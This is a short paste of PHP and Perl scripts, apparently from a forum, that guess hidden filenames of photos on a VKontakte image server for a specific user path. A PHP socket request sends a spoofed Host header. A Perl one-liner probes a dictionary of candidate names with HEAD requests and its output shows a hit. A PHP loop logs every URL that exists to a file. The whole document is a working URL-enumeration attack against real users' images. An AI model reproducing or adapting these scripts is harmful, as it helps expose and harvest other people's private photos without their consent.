<?php
$fp = fsockopen("www.cs62.vkontakte.ru", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET http://www.cs62.vkontakte.ru/u2346858/4564087/x_a12fa5f3f2.jpg HTTP/1.1\r\n";
    $out .= "Host: www.yandex.ru\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

perl -MLWP::Simple -ne "chomp;print if head(\"http://cs62.vkontakte.ru/u2346858/4564087/$_.jpg\");" dict.txt

x_a12aa5f3f9
a_011fyjf3f8
x_a12fa5f3f2
b_112ga5f3f7
c_215ga5fas6

C:\>perl -MLWP::Simple -ne "chomp;print if head(\"http://....jpg\");" dict.txt
x_a12fa5f3f2

<?php


$spisok = "spisok.txt"; 
$zergood = 'good.txt';
for ($doscriot=0;$doscriot<=count($contents);$doscriot++) 
{
$spisok = "spisok.txt";

$handle = fopen($spisok,"r");
$contents = fread($handle,filesize($spisok));
fclose($handle);
$contents = explode("\n",$contents);
$resurs=trim($contents[$doscriot]);


$fayl="http://cs62.vkontakte.ru/u2346858/4564087/x_".$resurs.".jpg";

  if (!$udacha = fopen($fayl, "rb")) {
        echo "файла $fayl нет";

    }
else 
{
$somecontent = "$fayl\n";
$udacha = fopen($zergood, 'a');
fwrite($udacha, $somecontent);
fclose($udacha);
}

}

?>